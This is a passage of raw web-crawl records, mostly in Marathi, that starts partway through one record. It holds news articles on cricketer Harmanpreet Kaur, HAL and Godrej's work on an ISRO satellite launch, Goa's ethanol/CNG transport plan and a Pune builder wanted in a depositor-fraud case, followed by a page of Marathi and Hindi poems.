खेळाडूंची भूमिका बजावतो, आणि त्याने हे आज सिध्द देखील केले.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/harmanpreet-kaur-7-things-you-need-to-know-about-crickets-latest-hurricane/", "date_download": "2018-09-25T17:02:30Z", "digest": "sha1:DSPVRTXFTJU45LODTWADVWCTGTW5DIE3", "length": 6393, "nlines": 63, "source_domain": "mahasports.co.in", "title": "कोण आहे ही हरमनप्रीत कौर? -", "raw_content": "\nकोण आहे ही हरमनप्रीत कौर\nकोण आहे ही हरमनप्रीत कौर\nकाल ११५ चेंडूत १७१ धावांची नाबाद खेळी करून भारताला महिला विश्वचषकाच्या अंतिम फेरीत स्थान मिळवून देणाऱ्या हरमनप्रीत कौरची सध्या देशात जोरदार चर्चा आहे. परंतु तिच्याबद्दल चर्चा होण्याची ही काही पहिलीच वेळ नाही.\nगेल्या वर्षी जुलै महिन्यातच ह्याच कालावधीमध्ये हरमनप्रीत कौरबद्दल भारतीय माध्यमे आणि क्रिकेट चाहत्यामंध्ये जोरदार चर्चा झाली होती. कारण ती पहिली अशी भारतीय खेळाडू होती जी परदेशी टी२० लीगमध्ये खेळण्यासाठी करारबद्ध झाली होती. ऑस्ट्रेलियामधील सिडनी थंडर या क्लबने तिला बिग बॅश लीगसाठी करारबद्ध केले होते.\n१. हरमनप्रीत कौरचा जन्म मोगा, पंजाब येथे झाला आहे.\n२. ती सध्या २८ वर्ष आणि १३५ दिवस वयाची आहे.\n३. सेहवाग आणि रहाणे तिचे बॅटिंग आयडॉल आहेत.\n४. ती पहिली भारतीय महिला क्रिकेटपटू आहे जिने इंग्लंडमधील किवा सुपर लीगमधील सरे स्टार्ससाठी करारबद्ध झाली.\n५. ती पंजाब संघाकडून देशांतर्गत क्रिकेट खेळते.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/75b5222cc8/hal-godrej-most-powerful-country-in-the-satellite-transmission-of-the-important-role-of-", "date_download": "2018-09-25T17:57:09Z", "digest": "sha1:JSEE5EZCVYQIBDFYXO3WQZIHERMBC4AI", "length": 10347, "nlines": 84, "source_domain": "marathi.yourstory.com", "title": "एचएएल, गोदरेज यांची देशाच्या सर्वाधिक वजनदार उपग्रह प्रक्षेपणात महत्वाची भूमिका!", "raw_content": "\nएचएएल, गोदरेज यांची देशाच्या सर्वाधिक वजनदार उपग्रह प्रक्षेपणात महत्वाची भूमिका\nपाच जून २०१७ रोजी इस्त्रोने भारताचा सर्वाधिक वजनदार उपग्रह अंतराळात सोडला. सरकारी हिंदुस्थान ऍरोनॉटिक्स लिमिटेड (एचएएल) आणि अंतराळ विभाग भारतीय बहुराष्ट्रीय गोदरेज आणि बॉइस यांनी या उपग्रहाच्या बांधणीत महत्वाची भूमिका पार पाडली आहे.\nया बाबतच्या वृत्तानुसार, एचएएलने जारी केलेल्या प्रसिध्दी पत्रकात म्हटले आहे की, “ सांगाड्याचे काम आणि ६४० टनांची इंधन टाकी रॉकेट यांची निर्मिती आमच्या ऐरोस्पेस विभागात करण्यात आली. यासाठीचे सुटे भाग आणि सामुग्री दोन्ही करीता रॉकेट आणि भूवैज्ञानकीय उपग्रह (GSAT-19) यांची निर्मिती गोदरेजच्या आंतराळ विभागात करण्यात आली जो मुंबईच्या बाहेर आहे. याबाबतच्या वृत्तानुसार, गोदरेजने म्हटले आहे की, “ रॉकेटसाठी आम्ही पहिल्या टप्प्यात इंजीन निर्माण केले आणि त्यासोबतच तिस-या टप्प्यात क्रायोजेनिक इंजिनची निर्मीती करण्यात आली. उपग्रहासाठीची मोटर इंजीन इंजेक्टर्स देखील या आंतराळ विभागात तयार करण्यात आले.\nसर्वाधिक संपर्क क्षमता असलेल्या या उपग्रहाचे वजन ३.४ टनाचे आहे, हा भुवैज्ञानिक उपग्रह (GSLV Mark-III) इस्त्रोने आंध्रप्रदेशातील श्रीहरीकोटा येथून प्रक्षेपित केला आहे जे चेन्नईपासून ८० किमी उत्तरपूर्वेला आहे.\nयाबाबत बोलताना एचएएलचे अध्यक्ष टिव्ही सुवर्ण राजू म्हणाले की, “ देशात आमच्या आंतराळ विभागातच केवळ अशाप्रकारे अक्राळ विक्राळ सांगाडा तयार करणे शक्य आहे, आम्ही भारत आणि इस्त्रोच्या अशा मोहिमांसाठी बांधील आहोत, आणि भविश्यातील यशस्वी उड्डाणांसाठी देखील.”\nयेथे २० प्रकारे विविध सांगाडे तयार केले जातात. आणि उपग्रह बसचा सांगाडा जो तयार करण्यात आला आणि वेळेत देण्यात आला जो सुरक्षेच्या दृष्टीने महत्वाचा होता. एचएएल ने या ऐतिहासिक कामाची यशस्वीपणे अंमलबाजवणी केली.\nगोदरेजचे अध्यक्ष जमशेद गोदरेज म्हणाल की, “ भारत अंतराळ तंत्रज्ञानाच्या बाबतीत स्वयंपूर्णतेच्या दिशेने निघाला आहे, ज्यांच्या कडे शंभर टक्के वापर करता येईल अशी साधने आहेत. आरेखीत आणि सुनियोजीत प्रकारचे आराखडे आहेत.जे सरकार आणि खाजगी सहभागीता यातून निर्माण केले आहेत. याबाबत आणखी बोलताना गोदरेज म्हणाले की, “ इस्त्रो सोबत काम करण्याचा सन्मान आम्हाला मिळाला, ज्यात आम्ही विकास आणि उत्पादनाच्या क्षेत्रात संवेदनशिल सामुग्री तयार केली आणि देशाच्या अंतराळ कार्यक्रमात सहभाग घेतला.”\nया शिवाय एचएएलने ज्या अतिरिक्त क्षमता निर्माण केल्य त्यात त्यांच्या सुविधाचे आधुनिकीकरण आणि पुढील पिढीचे अद्य़ावत तंत्रज्ञान जे भविष्यात कामी येणार आहे ते निर्माण केले. राजू पुढे म्हणाले की, “ आम्ही बुस्टलर रॉकेट देखील आरेखित केले, जे मार्क २ या प्रक्षेपकासोबत लॉंच पँडवरून वापरले जाणार आहे.”\nएचएएलने अलॉय स्ट्रक्चर्स, टँन्क आणि उपग्रह बस बार इस्त्रो पोलर आणि जीओ स्टेशनरी लॉंचसाठी पाच दशकापूर्वीच तयार केले होते. या बाबतच्या वृतानुसार पत्रकात नमुद करण्यात आले होते की, “आम्ही १८ऍरो स्टक्चर्स आणि फुयेल टँन्क्स आणि उपग्रह बस बार इस्त्रोच्या मार्स ऑर्बिटर मिशन जे ५ नोव्हे २०१३ मध्ये करण्यात आले होते त्यात सहभाग घेतला होता.”\nगोदरेज १९८५पासून इस्त्रो सोबत काम करत आहे. त्यात द्रवित पॉप्युलेशन पध्दतीचे इंजिन जे हलके, मध्यम आणि जड रॉकेटमध्ये किंवा थ्रस्ट इंजिन आणि ऍन्टेनामध्ये उपग्रहात वापरतात. ते इस्त्रोच्या चांद्रयान-१ मोहिमेच्या अंतर्गत भागातही २००८-०९ मध्ये सक्रीय होते, आणि मंगळ यानाच्या कार्यक्रमात २०१३-१४मध्येही.\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/e9fca1ddbf/goa-chief-minister-announced-ethanol-cng-based-public-transport-service-", "date_download": "2018-09-25T17:56:46Z", "digest": "sha1:HKK6GPR7E7VC6FK2HFRUCYT3QB73L3EI", "length": 7125, "nlines": 78, "source_domain": "marathi.yourstory.com", "title": "गोव्याच्या मुख्यमंत्र्यांनी घोषणा केली, इथेनॉल, सीएनजी आधारित सार्वजनिक वाहतूक सेवेची!", "raw_content": "\nगोव्याच्या मुख्यमंत्र्यांनी घोषणा केली, इथेनॉल, सीएनजी आधारित सार्वजनिक वाहतूक सेवेची\nगोव्याचे मुख्यमंत्री मनोहर पर्रीकर यांनी घोषणा केली आहे की या किनारपट्टीच्या राज्याला यापुढच्या काळात सीएनजी आधारित तसेच इथेनॉल आधारित सार्वजनिक वाहतूक व्यवस्था दिली जाईल. केंद्र सरकारचा कार्बन फूटप्रिंट कमी करण्याचा हा एक प्रयत्न असेल.\nया बाबतच्या वृत्तानुसार, पर्रिकर यांनी रस्त्याच्या किनारी झाडे लावण्याच्या कार्यक्रमात पत्रकारांना सांगितले की, “ या उपक्रमात इथेनॉल आणि सीएनजी आधारित बस चालविल्या जातील जेणेकरून तुम्हाला हवेतील कार्बनचे प्रमाण नियंत्रित करता येईल, चांगले घन कचरा व्यवस्थापन आणि इतर अनेक उपाययोजना प्रस्तावित आहेत.”\nकार्बनची घनता हा देखील सध्याच्या काळात वाढत जाणा-या समस्यांपैकी एक आहे आणि जे घटक त्यात समाविष्ट असतात कालानुसार वाढत जात आहेत. मात्र त्या प्रमाणात त्यांना नियंत्रित करण्याचा प्रयत्न फारच कमी प्रमाणात केले जातात. औद्योगिक क्रांती पासून मानवी हालचालींनी कार्बनच्या घटकांमध्ये सातत्याने वृध्दी होताना दिसत आहे. ‘व्हॉटस यू इम्पॅक्ट’च्या मते ते आता घातक पातळीवर पोहोचले आहेत, अशा पातळीवर ज्या मागील तीन लाख वर्षात अनुभवास आल्या नाहीत. तरीही मानवी सहभाग निसर्गाच्या मानाने खूपच कमी आहे, निसर्गाचा समतोल ढळण्यास मानवी हस्तक्षेपापूर्वीच सुरूवात झाली आहे.\nकार्बन घटकांचे प्रमाण वाढविण्यात भारत चवथा मोठा सहभागीदार आहे, विकीपिडीयाच्या मते, देश जगातील सहा टक्के कार्बन डायऑक्साइडची मात्रा वाढविण्यास कारणीभूत आहे, दिलेल्या माहिती नुसार, पर्यावरणाच्या रक्षणासाठी हा उपक्रम खूपच सकारात्मक आहे, ज्यातून जग आधिकाधिक पर्यावरणस्नेही होण्यास मदत होणार आहे.\nपर्रिकर यांनी अर्थसंकल्प सादर करत असताना, राज्यात एकत्रित सार्वजनिक वाहतूक व्यवस्था निर्माण करण्याची घोषणा केली आहे. सार्वजनिक वाहतूक व्यवस्था महत्वाची आहे, जी वाढत्या लोकसंख्येच्या दृष्टीने समस्या बनत चालली आहे, त्याचप्रमाणे चार लाख वार्षिक पर्यटकांच्या दृष्टीने देखील.\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://lokmat.news18.com/news/dsk-wanted-for-pune-police-277668.html", "date_download": "2018-09-25T17:44:18Z", "digest": "sha1:HSH6XKG5Y7XRLJ6BAWWLV43YRGYFAEDI", "length": 15905, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "सुप्रीम कोर्टात गेलेले 'डीएसके' पुणे पोलिसांसाठी मात्र 'वॉन्टेडच' !", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nसुप्रीम कोर्टात गेलेले 'डीएसके' पुणे पोलिसांसाठी मात्र 'वॉन्टेडच' \n'डीएसके' ठेवीदार फसवणूक प्रकरणी अटकेची कारवाई टाळण्यासाठी अज्ञातवासात गेलेले पुण्यातले प्रसिद्ध बांधकाम व्यावसायिक डी. एस. कुलकर्णी यांनी आता सुप्रीम कोर्टात धाव घेतलीय. असं असलं तरी पुणे पोलिसांनी त्यांची शोधाशोध सुरू केली असून त्यांच्या अटकेसाठी तपास पथकंही रवाना केलीत.\n21 डिसेंबर, पुणे : 'डीएसके' ठेवीदार फसवणूक प्रकरणी अटकेची कारवाई टाळण्यासाठी अज्ञातवासात गेलेले पुण्यातले प्रसिद्ध बांधकाम व्यावसायिक डी. एस. कुलकर्णी यांनी आता सुप्रीम कोर्टात धाव घेतलीय. असं असलं तरी पुणे पोलिसांनी त्यांची शोधाशोध सुरू केली असून त्यांच्या अटकेसाठी तपास पथकंही रवाना केलीत. डीएसके सुप्रीम कोर्टात गेले असले तरी त्यांच्याविरोधातल्या अटकेच्या कारवाईवर त्याचा काहीही परिणाम होणार नाही, पोलिसांच्या दृष्टीने ते वॉन्टेडच असून आम्ही त्यांना लवकरच आम्ही त्यांना अटक करू, असं पुणे पोलिसांच्या आर्थिक गुन्हेशाखेचे एसीपी मिलिंद पाटील यांनी सांगितलंय.\nएसीपी मिलिंद पाटील म्हणाले, ''उच्च न्यायालयाने डीएसकेंचा जामीन फेटाळल्याने त्यांना शोघण्यासाठी आम्ही पोलीस पथके रवाना केलीत. त्यांचा ठाव ठिकाणा आम्ही शोधत असून, आम्हाला काही धागेदोरेही मिळालेत. त्यांचा पासपोर्टही आमच्याकडे जमा आहे. तसंच अटक टाळण्यासाठी ते सुप्रीम कोर्टात गेले असले तरीही अटकेच्या कारवाईवर त्याचा काहीही परिणाम होणार नाही. पण आत्ताच त्यांना फरार घोषित करता येणार नाही ''\nमुंबई हायकोर्टाने डीएसकेंना ठेवीदारांची देणी चुकवण्यासाठी 50 कोटी रुपये भरण्याचे आदेश दिले होते. पण कोर्टाने दिलेल्या वेळेत डीएसकेंनी पैसे भरलेच नाहीत, उलट मुदत वाढवून मागितली होती. पण कोर्टाने त्यांची मुदत वाढीची मागणी फेटाळून लावत पोलिसांना पुढील कारवाईचे स्पष्ट आदेश दिलेत तेव्हापासून डीएसके अज्ञातवासात गेलेत त्यामुळे डीएसकेंना आता कुठल्याही क्षणी अटक होऊ शकते.\nडीएसकेंनी 700 ते 800 ठेवीदारांची हजारो कोटींची देणी थकवलीत. हडपसरच्या ड्रीम सिटी प्रोजेक्टमुळे डीएसके आर्थिक दिवाळखोरीत निघालेत. तेव्हापासून ठेवीदारांनी त्यांच्याकडे पैसे परत मिळवण्यासाठी तगादा लावलाय. पण डीएसकेंनी त्यांच्या काही मालमत्ता विकूनही ठेवीदारांची देणी चुकती केलेलीच नाहीत. म्हणूनच पुण्यातील 20 ठेवीदारांनी डीएसकेंच्या विरोधात आर्थिक फसवणुकीचा गुन्हा दाखल केलाय. तेव्हापासूनच डीएसके अटकेची कारवाई टाळण्यासाठी कोर्टात धाव घेताहेत.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: dsk punedsk wantedठेवीदारांची फसवणूकडीएसके वॉन्टेडडीएसके सुप्रीम कोर्टातपुणे पोलीस\nपुजेच्या चिठ्ठीत सहा जणांची नावं, रक्ताचे थेंब आणि काळ्या बाहुल्या\nPHOTOS: पुण्यात 'आवाज वाढीव DJ तुला आईची शपथ हाय'\nतीन राज्य, दोन महिने, अखेर पोलिसांनी शोधले 101 मोबाईल्स\n पुण्यात समोस्याच्या गोड चटणीत आढळला मेलेला उंदीर\nडोळ्याचं पारणं फेडणारा दगडूशेठ गणपतीचा अथर्वशीर्ष सोहळा पाहा ड्रोनमधून\nVIDEO: श्रीमती काशीबाई नवले 'मेडिकल' कॉलेजच व्हेंटिलेटरवर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00180.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.sahity.com/tag/madhav-dadarav-mule/", "date_download": "2018-09-25T17:53:48Z", "digest": "sha1:GSQ2BJSXOE4DAPT2VINSST3BWL3MS5RD", "length": 13760, "nlines": 255, "source_domain": "www.sahity.com", "title": "Madhav dadarav mule Archives | Sahity Live :: Sahity.com", "raw_content": "\nरिश्तों में आती दूरियां-विप्पन क्कुमार\nकोमल मन- विपिन कुमार तिवारी\nजाने दो- चेतन वर्मा\nसमृद्धि के दरवाजे-अवध्राम यादव\nचिंता नहीं चिंतन की आवश्यकता-शोभा सृष्टि\nप्यार के तीन रंग-ओम कांति\nहवामान खात्यावर केस करण्याची वेळ आता आली त्यांच्यामुळेच तर फजिती शेतकरयाची झाली कपन्यांसोबत डील करून शेतकऱ्याला त्यांनी लुटलं का कुणास ठाऊक त्यांना अस कोणत सुख भेटलं फसवे गिरीचे खेळ फक्त देशात या घडत आहे श्रीमंत मात्र आनंदात गरीब रोज रडत आहे हवामान खात्याचा अंदाज दरवेळी कसा चुकतो शेतकऱ्यांन खतबियान भरल्यावर पाऊस कुठे लपतो विश्वास आता\nरफतार रोज दहशद की बढ रही है भारत मे मोहबत गौरी लंकेश के सुहाने दिन वो लौटा दो ये अच्छे दिन की परिभाषा हमे मत सिखावो तुम आरक्षण मांगते मर गया जो भाई ऊसे वापस लाके दिखा वो तुम नोट बदले जैसे आप इरादे भी बदलते हो हर एक दिन नये जगहपर दौरे पे चलते\nमेरे हिंदुस्थान मै तेरा मीडिया बोल रहा हू धिरे-धिरे बाबाओकी History खोल रहा हू TRP बढाना छोडकर सही राहपर चल रहा हू मेरे हिंदुस्थान मै तेरा मीडिया बोल रहा हू भ्रष्टाचारियोके मुपर ताला डाल रहा हू मेरे हिंदुस्थान मै तेरा मीडिया बोल रहा हू अपने जरीऐसे देशवासीयोके बुरे चलते दिखा हाल रहा हू मेरे हिंदुस्थान\nमजहब मेरा मत कर इन्सा यहा हर मजहब तेरा है मत भूल हिंदुस्थान हमारा हमे मजहब से भी प्यारा है हिंदू और मुस्लिम तो एक दुजे का सहारा था सियासद ने लढवा दीयारे यह चुनके आने का बहाणा था भगवा क्यारे हरा क्यारे यह तो बस रंग है नही जितेंगे लढवाने वाले जबतक हम संग\nप्रार्थना जिजाऊची-माधव दादाराव मुले\nहात जोडुनी विनवितो तुजला येणा तू आई तुझ्या लेकींना बघ ना इथे गं सौरक्षण नाही बाळ तुझा तो शिवबा आम्हाला देना गं आई जनतेचे तू कल्याण करण्या येणा तू आई जाधव घराणी जन्म पुंन्हा तू घेणा गं आई हात जोडुनी विनवितो तुजला येणा तू आई बघण्या तुला हे डोळ माझं करतय खूप घाई हात जोडुनी\nदेवा जव्हा तुला मी पाहीन तव्हा फुले मी वाहीन या पापी दुनियेला सोडून तुझ्यासंगे मी येईन ज्याच्या अंगी आहे खोटे पण तोच या दुनियात टिकण एक दिवस पुण्याच्या झाडाला बघ पाप हे पिकन ज्याच्या मुखी राम नाम त्याचे अडतेरे काम स्वार्थी वृत्ती मानवाची पाप करून करतात धाम ज्याच्या अंगी आहे खरे पण त्याला त्रास हे\nका अस होत – माधव मुले\nका अस होत जन्माला आलोतर सगळे खुश होतात मरते वेळी डोळ्यात मंग आसवे का येतात कशी हि रीत देवाने काढली प्रत्येकाच्या जीवनामध्ये सुख दुःखे धाडली बारादीच्या वेळी डोळे आसू नकळत काढतात मंग जग सोडून गेल्यावर का जाणून बुजून रडतात दुःखे हि येत गेली येतच राहणार ती कधी गरिबी श्रीमंती नाही पाहणार कस हे वेळापत्रक देवाने\nविसरतोय तुला – माधव दादाराव मुळे\nतू दिलाय दगा तरी जगेल मी त्यांच्यासाठी रात्रनं दिस राबलेत ते फक्त ग माझ्यासाठी तुझ माझ नात ग आत्ताच गुंतलं आई बाबांनी तर मला जन्माला घातलं मी त्यांचे उपकार कसे ग विसरू मोकळे जरी सोडले आपण तरी गाई पासून दूर जातेका वासरू मुक्या जीवाला कळते मंग मला का नाही जगात सर्व श्रेष्ठ असते बाबा आणि\nखेळ – माधव दादाराव मुळे\nप्रेम नावाचा खेळ तू माझ्या सोबतच का खेळला हो म्हणुन धोका दिला तेव्हा तुझा तो डाव मला कळला तू भाव खायची मी भाव दयायचो वेडा बनून तुझी परीक्षा घ्यायचो कळले मला जेव्हा दिलाय तू दगा करणार तरी काय मी होतो त्या खेळातील फुगा असला खेळ plz कुणासोबत नको खेळूस धुतलेल्या धुण्यासारखं नको मनाला पिळूस खेळ\nचेहऱ्यातील साम्य – माधव मुळे\nसचिन नुकताच गावाकडून शहराकडे आला होता. गावाकडे दोन भाऊ व तिसरा सचिन, शेती थोडी असल्या कारणाने सचिनला कामासाठी शहरात यावं लागलं होत.सचिन काम बघत फिरत होता तेव्हा अचानक त्याला एके ठिकाणी मिस्तरिच्या हाताखाली हातमजूर पाहिजे अस बोलताना एक व्यक्ती दिसली सचिन त्या व्यक्तीकडे गेला व मला कामाची गरज आहे.मी खूप दुरून आलोय माझ्या पोटासाठी मला\nरिश्तों में आती दूरियां-विप्पन क्कुमार\nकोमल मन- विपिन कुमार तिवारी\nजाने दो- चेतन वर्मा\nसाहित्य लाइव पर लेख प्रकाशित करें\nसाहित्य लाइव रंगमंच 2018 प्रतियोगिता Result\nलोकप्रिय और बेहतरीन लेख पढ़े\nसाहित्य लाइव परिवार WhatsApp Group\nसाहित्य लाइव के प्रति अपने विचार दें\nCategories Select Category FAQ Sahity Live Rangmanch Hindi Language Bhojpuri English Gujrati Haryanvi Marathi rajsthani safety Shiksha Vigyan Uncategorized @hi Vayangy आलेख उपन्यास कविताएँ गीत शायरी कहानियाँ ग़जलें ग़जलें धार्मिक कबीर साहिब कुरान गीता यथार्त भगति मार्ग वेद शिव 